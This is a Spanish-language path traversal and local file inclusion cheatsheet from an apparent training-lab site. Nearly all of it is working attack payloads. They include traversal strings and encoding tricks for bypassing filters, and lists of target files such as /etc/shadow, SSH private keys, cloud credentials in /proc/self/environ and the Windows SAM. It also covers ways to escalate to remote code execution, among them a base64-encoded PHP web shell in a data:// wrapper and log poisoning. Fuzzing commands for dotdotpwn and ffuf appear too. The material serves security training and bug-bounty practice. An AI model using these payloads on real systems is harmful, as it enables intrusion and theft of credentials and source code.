Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet Path Traversal
Directory Traversal / LFI
Referencia rápida
- →Probar siempre multiples niveles de traversal: desde 1 hasta 10 directorios arriba
- →En PHP < 5.3, null byte (%00) trunca la extension forzada (.php, .png)
- →Log poisoning: inyectar payload PHP en User-Agent/Referer y luego incluir el log via LFI
- →/proc/self/environ contiene variables de entorno con credenciales de cloud
- →Si el server normaliza la ruta, probar double encoding (%252e%252e%252f)
Payloads basicos
Unix - /etc/passwd
../../../../etc/passwd
Windows - win.ini
..\..\..\..\windows\win.ini
Con null byte (PHP < 5.3)
../../../../etc/passwd%00.png
Double encoding
..%252f..%252f..%252fetc/passwd
UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
Path con /Bypass de filtros que eliminan ../
/....//....//....//etc/passwd
Bypass de filtros
Doble punto eliminadoSi el server elimina ../ una vez, queda ../
....//....//....//etc/passwd
URL encoding del punto
%2e%2e/%2e%2e/%2e%2e/etc/passwd
Mixed encoding
.%2e/.%2e/.%2e/etc/passwd
Backslash (Windows)
..%5c..%5c..%5cwindows%5cwin.ini
Path absolutoA veces funciona sin traversal si no hay base path
/etc/passwd
Archivos interesantes - Linux
/etc/passwd
/etc/passwd
/etc/shadowRequiere root - contiene hashes de passwords
/etc/shadow
Variables de entornoContiene AWS keys, secrets, tokens
/proc/self/environ
Linea de comandos
/proc/self/cmdline
SSH private key
/home/user/.ssh/id_rsa
Bash history
/home/user/.bash_history
AWS Lambda sourceCodigo fuente completo de funciones Lambda
/var/task/lambda_function.py
Archivos interesantes - Windows
SAM database
C:\Windows\System32\config\SAM
Web.config
C:\inetpub\wwwroot\web.config
Hosts file
C:\Windows\System32\drivers\etc\hosts
IIS logs
C:\inetpub\logs\LogFiles
Escalacion LFI a RCE
PHP wrappers - base64Leer codigo fuente PHP codificado en base64
php://filter/convert.base64-encode/resource=config.php
PHP wrappers - dataBase64 de: <?php system($_GET["cmd"]);?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
PHP expectRequiere extension expect habilitada
expect://id
Log poisoningInyectar PHP en User-Agent, luego incluir el log
/var/log/apache2/access.log
/proc/self/fd/ bruteforceFile descriptors abiertos pueden contener archivos temporales con codigo
/proc/self/fd/5
Herramientas
dotdotpwn
Fuzzer de path traversal con multiples modos de operacion
dotdotpwn -m http -h target.com -x 8080 -f /etc/passwd
ffuf
Fuzzer rapido para probar payloads de LFI en parametros
ffuf -u "https://target.com/download?file=FUZZ" -w lfi-payloads.txt -mc 200
LFISuite
Suite automatizada de explotacion LFI con multiples tecnicas de RCE
python3 lfisuite.py
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica